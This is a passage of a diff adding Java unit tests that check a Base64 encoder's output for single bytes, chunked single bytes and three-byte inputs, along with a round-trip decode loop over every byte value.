+        assertEquals("Kg==", new String(Base64.encodeBase64(new byte[]{(byte) 42})));
+        assertEquals("Kw==", new String(Base64.encodeBase64(new byte[]{(byte) 43})));
+        assertEquals("LA==", new String(Base64.encodeBase64(new byte[]{(byte) 44})));
+        assertEquals("LQ==", new String(Base64.encodeBase64(new byte[]{(byte) 45})));
+        assertEquals("Lg==", new String(Base64.encodeBase64(new byte[]{(byte) 46})));
+        assertEquals("Lw==", new String(Base64.encodeBase64(new byte[]{(byte) 47})));
+        assertEquals("MA==", new String(Base64.encodeBase64(new byte[]{(byte) 48})));
+        assertEquals("MQ==", new String(Base64.encodeBase64(new byte[]{(byte) 49})));
+        assertEquals("Mg==", new String(Base64.encodeBase64(new byte[]{(byte) 50})));
+        assertEquals("Mw==", new String(Base64.encodeBase64(new byte[]{(byte) 51})));
+        assertEquals("NA==", new String(Base64.encodeBase64(new byte[]{(byte) 52})));
+        assertEquals("NQ==", new String(Base64.encodeBase64(new byte[]{(byte) 53})));
+        assertEquals("Ng==", new String(Base64.encodeBase64(new byte[]{(byte) 54})));
+        assertEquals("Nw==", new String(Base64.encodeBase64(new byte[]{(byte) 55})));
+        assertEquals("OA==", new String(Base64.encodeBase64(new byte[]{(byte) 56})));
+        assertEquals("OQ==", new String(Base64.encodeBase64(new byte[]{(byte) 57})));
+        assertEquals("Og==", new String(Base64.encodeBase64(new byte[]{(byte) 58})));
+        assertEquals("Ow==", new String(Base64.encodeBase64(new byte[]{(byte) 59})));
+        assertEquals("PA==", new String(Base64.encodeBase64(new byte[]{(byte) 60})));
+        assertEquals("PQ==", new String(Base64.encodeBase64(new byte[]{(byte) 61})));
+        assertEquals("Pg==", new String(Base64.encodeBase64(new byte[]{(byte) 62})));
+        assertEquals("Pw==", new String(Base64.encodeBase64(new byte[]{(byte) 63})));
+        assertEquals("QA==", new String(Base64.encodeBase64(new byte[]{(byte) 64})));
+        assertEquals("QQ==", new String(Base64.encodeBase64(new byte[]{(byte) 65})));
+        assertEquals("Qg==", new String(Base64.encodeBase64(new byte[]{(byte) 66})));
+        assertEquals("Qw==", new String(Base64.encodeBase64(new byte[]{(byte) 67})));
+        assertEquals("RA==", new String(Base64.encodeBase64(new byte[]{(byte) 68})));
+        assertEquals("RQ==", new String(Base64.encodeBase64(new byte[]{(byte) 69})));
+        assertEquals("Rg==", new String(Base64.encodeBase64(new byte[]{(byte) 70})));
+        assertEquals("Rw==", new String(Base64.encodeBase64(new byte[]{(byte) 71})));
+        assertEquals("SA==", new String(Base64.encodeBase64(new byte[]{(byte) 72})));
+        assertEquals("SQ==", new String(Base64.encodeBase64(new byte[]{(byte) 73})));
+        assertEquals("Sg==", new String(Base64.encodeBase64(new byte[]{(byte) 74})));
+        assertEquals("Sw==", new String(Base64.encodeBase64(new byte[]{(byte) 75})));
+        assertEquals("TA==", new String(Base64.encodeBase64(new byte[]{(byte) 76})));
+        assertEquals("TQ==", new String(Base64.encodeBase64(new byte[]{(byte) 77})));
+        assertEquals("Tg==", new String(Base64.encodeBase64(new byte[]{(byte) 78})));
+        assertEquals("Tw==", new String(Base64.encodeBase64(new byte[]{(byte) 79})));
+        assertEquals("UA==", new String(Base64.encodeBase64(new byte[]{(byte) 80})));
+        assertEquals("UQ==", new String(Base64.encodeBase64(new byte[]{(byte) 81})));
+        assertEquals("Ug==", new String(Base64.encodeBase64(new byte[]{(byte) 82})));
+        assertEquals("Uw==", new String(Base64.encodeBase64(new byte[]{(byte) 83})));
+        assertEquals("VA==", new String(Base64.encodeBase64(new byte[]{(byte) 84})));
+        assertEquals("VQ==", new String(Base64.encodeBase64(new byte[]{(byte) 85})));
+        assertEquals("Vg==", new String(Base64.encodeBase64(new byte[]{(byte) 86})));
+        assertEquals("Vw==", new String(Base64.encodeBase64(new byte[]{(byte) 87})));
+        assertEquals("WA==", new String(Base64.encodeBase64(new byte[]{(byte) 88})));
+        assertEquals("WQ==", new String(Base64.encodeBase64(new byte[]{(byte) 89})));
+        assertEquals("Wg==", new String(Base64.encodeBase64(new byte[]{(byte) 90})));
+        assertEquals("Ww==", new String(Base64.encodeBase64(new byte[]{(byte) 91})));
+        assertEquals("XA==", new String(Base64.encodeBase64(new byte[]{(byte) 92})));
+        assertEquals("XQ==", new String(Base64.encodeBase64(new byte[]{(byte) 93})));
+        assertEquals("Xg==", new String(Base64.encodeBase64(new byte[]{(byte) 94})));
+        assertEquals("Xw==", new String(Base64.encodeBase64(new byte[]{(byte) 95})));
+        assertEquals("YA==", new String(Base64.encodeBase64(new byte[]{(byte) 96})));
+        assertEquals("YQ==", new String(Base64.encodeBase64(new byte[]{(byte) 97})));
+        assertEquals("Yg==", new String(Base64.encodeBase64(new byte[]{(byte) 98})));
+        assertEquals("Yw==", new String(Base64.encodeBase64(new byte[]{(byte) 99})));
+        assertEquals("ZA==", new String(Base64.encodeBase64(new byte[]{(byte) 100})));
+        assertEquals("ZQ==", new String(Base64.encodeBase64(new byte[]{(byte) 101})));
+        assertEquals("Zg==", new String(Base64.encodeBase64(new byte[]{(byte) 102})));
+        assertEquals("Zw==", new String(Base64.encodeBase64(new byte[]{(byte) 103})));
+        assertEquals("aA==", new String(Base64.encodeBase64(new byte[]{(byte) 104})));
+        for (int i = -128; i <= 127; i++) {
+            final byte test[] = {(byte) i};
+            assertTrue(Arrays.equals(test, Base64.decodeBase64(Base64.encodeBase64(test))));
+        }
+    }
+
+    @Test
+    public void testSingletonsChunked() {
+        assertEquals("AA==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 0})));
+        assertEquals("AQ==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 1})));
+        assertEquals("Ag==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 2})));
+        assertEquals("Aw==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 3})));
+        assertEquals("BA==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 4})));
+        assertEquals("BQ==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 5})));
+        assertEquals("Bg==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 6})));
+        assertEquals("Bw==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 7})));
+        assertEquals("CA==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 8})));
+        assertEquals("CQ==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 9})));
+        assertEquals("Cg==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 10})));
+        assertEquals("Cw==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 11})));
+        assertEquals("DA==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 12})));
+        assertEquals("DQ==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 13})));
+        assertEquals("Dg==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 14})));
+        assertEquals("Dw==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 15})));
+        assertEquals("EA==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 16})));
+        assertEquals("EQ==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 17})));
+        assertEquals("Eg==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 18})));
+        assertEquals("Ew==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 19})));
+        assertEquals("FA==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 20})));
+        assertEquals("FQ==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 21})));
+        assertEquals("Fg==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 22})));
+        assertEquals("Fw==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 23})));
+        assertEquals("GA==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 24})));
+        assertEquals("GQ==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 25})));
+        assertEquals("Gg==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 26})));
+        assertEquals("Gw==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 27})));
+        assertEquals("HA==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 28})));
+        assertEquals("HQ==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 29})));
+        assertEquals("Hg==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 30})));
+        assertEquals("Hw==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 31})));
+        assertEquals("IA==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 32})));
+        assertEquals("IQ==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 33})));
+        assertEquals("Ig==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 34})));
+        assertEquals("Iw==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 35})));
+        assertEquals("JA==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 36})));
+        assertEquals("JQ==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 37})));
+        assertEquals("Jg==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 38})));
+        assertEquals("Jw==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 39})));
+        assertEquals("KA==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 40})));
+        assertEquals("KQ==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 41})));
+        assertEquals("Kg==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 42})));
+        assertEquals("Kw==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 43})));
+        assertEquals("LA==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 44})));
+        assertEquals("LQ==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 45})));
+        assertEquals("Lg==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 46})));
+        assertEquals("Lw==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 47})));
+        assertEquals("MA==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 48})));
+        assertEquals("MQ==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 49})));
+        assertEquals("Mg==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 50})));
+        assertEquals("Mw==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 51})));
+        assertEquals("NA==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 52})));
+        assertEquals("NQ==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 53})));
+        assertEquals("Ng==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 54})));
+        assertEquals("Nw==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 55})));
+        assertEquals("OA==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 56})));
+        assertEquals("OQ==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 57})));
+        assertEquals("Og==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 58})));
+        assertEquals("Ow==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 59})));
+        assertEquals("PA==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 60})));
+        assertEquals("PQ==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 61})));
+        assertEquals("Pg==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 62})));
+        assertEquals("Pw==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 63})));
+        assertEquals("QA==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 64})));
+        assertEquals("QQ==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 65})));
+        assertEquals("Qg==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 66})));
+        assertEquals("Qw==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 67})));
+        assertEquals("RA==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 68})));
+        assertEquals("RQ==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 69})));
+        assertEquals("Rg==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 70})));
+        assertEquals("Rw==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 71})));
+        assertEquals("SA==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 72})));
+        assertEquals("SQ==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 73})));
+        assertEquals("Sg==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 74})));
+        assertEquals("Sw==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 75})));
+        assertEquals("TA==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 76})));
+        assertEquals("TQ==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 77})));
+        assertEquals("Tg==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 78})));
+        assertEquals("Tw==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 79})));
+        assertEquals("UA==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 80})));
+        assertEquals("UQ==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 81})));
+        assertEquals("Ug==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 82})));
+        assertEquals("Uw==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 83})));
+        assertEquals("VA==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 84})));
+        assertEquals("VQ==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 85})));
+        assertEquals("Vg==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 86})));
+        assertEquals("Vw==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 87})));
+        assertEquals("WA==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 88})));
+        assertEquals("WQ==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 89})));
+        assertEquals("Wg==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 90})));
+        assertEquals("Ww==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 91})));
+        assertEquals("XA==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 92})));
+        assertEquals("XQ==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 93})));
+        assertEquals("Xg==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 94})));
+        assertEquals("Xw==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 95})));
+        assertEquals("YA==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 96})));
+        assertEquals("YQ==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 97})));
+        assertEquals("Yg==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 98})));
+        assertEquals("Yw==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 99})));
+        assertEquals("ZA==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 100})));
+        assertEquals("ZQ==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 101})));
+        assertEquals("Zg==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 102})));
+        assertEquals("Zw==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 103})));
+        assertEquals("aA==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 104})));
+    }
+
+    @Test
+    public void testTriplets() {
+        assertEquals("AAAA", new String(Base64.encodeBase64(new byte[]{(byte) 0, (byte) 0, (byte) 0})));
+        assertEquals("AAAB", new String(Base64.encodeBase64(new byte[]{(byte) 0, (byte) 0, (byte) 1})));
+        assertEquals("AAAC", new String(Base64.encodeBase64(new byte[]{(byte) 0, (byte) 0, (byte) 2})));
+        assertEquals("AAAD", new String(Base64.encodeBase64(new byte[]{(byte) 0, (byte) 0, (byte) 3})));
+        assertEquals("AAAE", new String(Base64.encodeBase64(new byte[]{(byte) 0, (byte) 0, (byte) 4})));
+        assertEquals("AAAF", new String(Base64.encodeBase64(new byte[]{(byte) 0, (byte) 0, (byte) 5})));
+        assertEquals("AAAG", new String(Base64.encodeBase64(new byte[]{(byte) 0, (byte) 0, (byte) 6})));
+        assertEquals("AAAH", new String(Base64.encodeBase64(new byte[]{(byte) 0, (byte) 0, (byte) 7})));
+        assertEquals("AAAI", new String(Base64.encodeBase64(new byte[]{(byte) 0, (byte) 0, (byte) 8})));
+        assertEquals("AAAJ", new String(Base64.encodeBase64(new byte[]{(byte) 0, (byte) 0, (byte) 9})));
+        assertEquals("AAAK", new String(Base64.encodeBase64(new byte[]{(byte) 0, (byte) 0, (byte) 10})));
+        assertEquals("AAAL", new String(Base64.encodeBase64(new byte[]{(byte) 0, (byte) 0, (byte) 11})));
+        assertEquals("AAAM", new String(Base64.encodeBase64(new byte[]{(byte) 0, (byte) 0, (byte) 12})));
+        assertEquals("AAAN", new String(Base64.encodeBase64(new byte[]{(byte) 0, (byte) 0, (byte) 13})));
+        assertEquals("AAAO", new String(Base64.encodeBase64(new byte[]{(byte) 0, (byte) 0, (byte) 14})));
+        assertEquals("AAAP", new String(Base64.encodeBase64(new byte[]{(byte) 0, (byte) 0, (byte) 15})));
+        assertEquals("AAAQ", new String(Base64.encodeBase64(new byte[]{(byte) 0, (byte) 0, (byte) 16})));
+        assertEquals("AAAR", new String(Base64.encodeBase64(new byte[]{(byte) 0, (byte) 0, (byte) 17})));
+        assertEquals("AAAS", new String(Base64.encodeBase64(new byte[]{(byte) 0, (byte) 0, (byte) 18})));
+        assertEquals("AAAT", new String(Base64.encodeBase64(new byte[]{(byte) 0, (byte) 0, (byte) 19})));
+        assertEquals("AAAU", new String(Base64.encodeBase64(new byte[]{(byte) 0, (byte) 0, (byte) 20})));
+        assertEquals("AAAV", new String(Base64.encodeBase64(new byte[]{(byte) 0, (byte) 0, (byte) 21})));
+        assertEquals("AAAW", new String(Base64.encodeBase64(new byte[]{(byte) 0, (byte) 0, (byte) 22})));
+        assertEquals("AAAX", new String(Base64.encodeBase64(new byte[]{(byte) 0, (byte) 0, (byte) 23})));
+        assertEquals("AAAY", new String(Base64.encodeBase64(new byte[]{(byte) 0, (byte) 0, (byte) 24})));
+        assertEquals("AAAZ", new String(Base64.encodeBase64(new byte[]{(byte) 0, (byte) 0, (byte) 25})));
+        assertEquals("AAAa", new String(Base64.encodeBase64(new byte[]{(byte) 0, (byte) 0, (byte) 26})));
+        assertEquals("AAAb", new String(Base64.encodeBase64(new byte[]{(byte) 0, (byte) 0, (byte) 27})));
+        assertEquals("AAAc", new String(Base64.encodeBase64(new byte[]{(byte) 0, (byte) 0, (byte) 28})));
+        assertEquals("AAAd", new String(Base64.encodeBase64(new byte[]{(byte) 0, (byte) 0, (byte) 29})));
+        assertEquals("AAAe", new String(Base64.encodeBase64(new byte[]{(byte) 0, (byte) 0, (byte) 30})));
+        assertEquals("AAAf", new String(Base64.encodeBase64(new byte[]{(byte) 0, (byte) 0, (byte) 31})));
+        assertEquals("AAAg", new String(Base64.encodeBase64(new byte[]{(byte) 0, (byte) 0, (byte) 32})));
+        assertEquals("AAAh", new String(Base64.encodeBase64(new byte[]{(byte) 0, (byte) 0, (byte) 33})));
+        assertEquals("AAAi", new String(Base64.encodeBase64(new byte[]{(byte) 0, (byte) 0, (byte) 34})));
+        assertEquals("AAAj", new String(Base64.encodeBase64(new byte[]{(byte) 0, (byte) 0, (byte) 35})));
+        assertEquals("AAAk", new String(Base64.encodeBase64(new byte[]{(byte) 0, (byte) 0, (byte) 36})));
+        assertEquals("AAAl", new String(Base64.encodeBase64(new byte[]{(byte) 0, (byte) 0, (byte) 37})));
+        assertEquals("AAAm", new String(Base64.encodeBase64(new byte[]{(byte) 0, (byte) 0, (byte) 38})));
+        assertEquals("AAAn", new String(Base64.encodeBase64(new byte[]{(byte) 0, (byte) 0, (byte) 39})));
+        assertEquals("AAAo", new String(Base64.encodeBase64(new byte[]{(byte) 0, (byte) 0, (byte) 40})));
+        assertEquals("AAAp", new String(Base64.encodeBase64(new byte[]{(byte) 0, (byte) 0, (byte) 41})));
+        assertEquals("AAAq", new String(Base64.encodeBase64(new byte[]{(byte) 0, (byte) 0, (byte) 42})));
+        assertEquals("AAAr", new String(Base64.encodeBase64(new byte[]{(byte) 0, (byte) 0, (byte) 43})));
+        assertEquals("AAAs", new String(Base64.encodeBase64(new byte[]{(byte) 0, (byte) 0, (byte) 44})));
+        assertEquals("AAAt", new String(Base64.encodeBase64(new byte[]{(byte) 0, (byte) 0, (byte) 45})));
+        assertEquals("AAAu", new String(Base64.encodeBase64(new byte[]{(byte) 0, (byte) 0, (byte) 46})));
+        assertEquals("AAAv", new String(Base64.encodeBase64(new byte[]{(byte) 0, (byte) 0, (byte) 47})));
+        assertEquals("AAAw", new String(Base64.encodeBase64(new byte[]{(byte) 0, (byte) 0, (byte) 48})));
+        assertEquals("AAAx", new String(Base64.encodeBase64(new byte[]{(byte) 0, (byte) 0, (byte) 49})));
+        assertEquals("AAAy", new String(Base64.encodeBase64(new byte[]{(byte) 0, (byte) 0, (byte) 50})));
+        assertEquals("AAAz", new String(Base64.encodeBase64(new byte[]{(byte) 0, (byte) 0, (byte) 51})));
+        assertEquals("AAA0", new String(Base64.encodeBase64(new byte[]{(byte) 0, (byte) 0, (byte) 52})));
+        assertEquals("AAA1", new String(Base64.encodeBase64(new byte[]{(byte) 0, (byte) 0, (byte) 53})));
+        assertEquals("AAA2", new String(Base64.encodeBase64(new byte[]{(byte) 0, (byte) 0, (byte) 54})));
+        assertEquals("AAA3", new String(Base64.encodeBase64(new byte[]{(byte) 0, (byte) 0, (byte) 55})));
+        assertEquals("AAA4", new String(Base64.encodeBase64(new byte[]{(byte) 0, (byte) 0, (byte) 56})));
+        assertEquals("AAA5", new String(Base64.encodeBase64(new byte[]{(byte) 0, (byte) 0, (byte) 57})));
+        assertEquals("AAA6", new String(Base64.encodeBase64(new byte[]{(byte) 0, (byte) 0, (byte) 58})));
+        assertEquals("AAA7", new String(Base64.encodeBase64(new byte[]{(byte) 0, (byte) 0, (byte) 59})));
+        assertEquals("AAA8", new String(Base64.encodeBase64(new byte[]{(byte) 0, (byte) 0, (byte) 60})));
+        assertEquals("AAA9", new String(Base64.encodeBase64(new byte[]{(byte) 0, (byte) 0, (byte) 61})));
+        assertEquals("AAA+", new String(Base64.encodeBase64(new byte[]{(byte) 0, (byte) 0, (byte) 62})));
+        assertEquals("AAA/", new String(Base64.encodeBase64(new byte[]{(byte) 0, (byte) 0, (byte) 63})));
+    }
+
+    @Test
+    public void testTripletsChunked() {
+        assertEquals("AAAA\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 0, (byte) 0, (byte) 0})));
+        assertEquals("AAAB\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 0, (byte) 0, (byte) 1})));
+        assertEquals("AAAC\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 0, (byte) 0, (byte) 2})));
+        assertEquals("AAAD\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 0, (byte) 0, (byte) 3})));
+        assertEquals("AAAE\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 0, (byte) 0, (byte) 4})));
+        assertEquals("AAAF\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 0, (byte) 0, (byte) 5})));
+        assertEquals("AAAG\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 0, (byte) 0, (byte) 6})));
+        assertEquals("AAAH\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 0, (byte) 0, (byte) 7})));
+        assertEquals("AAAI\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 0, (byte) 0, (byte) 8})));
+        assertEquals("AAAJ\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 0, (byte) 0, (byte) 9})));
+        assertEquals("AAAK\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 0, (byte) 0, (byte) 10})));
+        assertEquals("AAAL\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 0, (byte) 0, (byte) 11})));
+        assertEquals("AAAM\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 0, (byte) 0, (byte) 12})));
+        assertEquals("AAAN\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 0, (byte) 0, (byte) 13})));
+        assertEquals("AAAO\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 0, (byte) 0, (byte) 14})));
+        assertEquals("AAAP\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 0, (byte) 0, (byte) 15})));
+        assertEquals("AAAQ\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 0, (byte) 0, (byte) 16})));
+        assertEquals("AAAR\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 0, (byte) 0, (byte) 17})));
+        assertEquals("AAAS\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 0, (byte) 0, (byte) 18})));
+        assertEquals("AAAT\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 0, (byte) 0, (byte) 19})));
+        assertEquals("AAAU\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 0, (byte) 0, (byte) 20})));
+        assertEquals("AAAV\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 0, (byte) 0, (byte) 21})));
+        assertEquals("AAAW\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 0, (byte) 0, (byte) 22})));
+        assertEquals("AAAX\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 0, (byte) 0, (byte) 23})));
+        assertEquals("AAAY\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 0, (byte) 0, (byte) 24})));
+        assertEquals("AAAZ\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 0, (byte) 0, (byte) 25})));
+        assertEquals("AAAa\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 0, (byte) 0, (byte) 26})));
+        assertEquals("AAAb\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 0, (byte) 0, (byte) 27})));
+        assertEquals("AAAc\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 0, (byte) 0, (byte) 28})));
+        assertEquals("AAAd\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 0, (byte) 0, (byte) 29})));
+        assertEquals("AAAe\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 0, (byte) 0, (byte) 30})));
+        assertEquals("AAAf\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 0, (byte) 0, (byte) 31})));
+        assertEquals("AAAg\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 0, (byte) 0, (byte) 32})));
+        assertEquals("AAAh\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 0, (byte) 0, (byte) 33})));
+        assertEquals("AAAi\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 0, (byte) 0, (byte) 34})));
+        assertEquals("AAAj\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 0, (byte) 0, (byte) 35})));
+        assertEquals("AAAk\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 0, (byte) 0, (byte) 36})));
+        assertEquals("AAAl\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 0, (byte) 0, (byte) 37})));
+        assertEquals("AAAm\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 0, (byte) 0, (byte) 38})));
+        assertEquals("AAAn\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 0, (byte) 0, (byte) 39})));
+        assertEquals("AAAo\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 0, (byte) 0, (byte) 40})));
+        assertEquals("AAAp\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 0, (byte) 0, (byte) 41})));
+        assertEquals("AAAq\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 0, (byte) 0, (byte) 42})));
+        assertEquals("AAAr\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 0, (byte) 0, (byte) 43})));
+        assertEquals("AAAs\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 0, (byte) 0, (byte) 44})));
+        assertEquals("AAAt\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 0, (byte) 0, (byte) 45})));
+        assertEquals("AAAu\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 0, (byte) 0, (byte) 46})));
+        assertEquals("AAAv\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 0, (byte) 0, (byte) 47})));
+        assertEquals("AAAw\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 0, (byte) 0, (byte) 48})));
+        assertEquals("AAAx\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 0, (byte) 0, (byte) 49})));
+        assertEquals("AAAy\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 0, (byte) 0, (byte) 50})));
+        assertEquals("AAAz\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 0, (byte) 0, (byte) 51})));
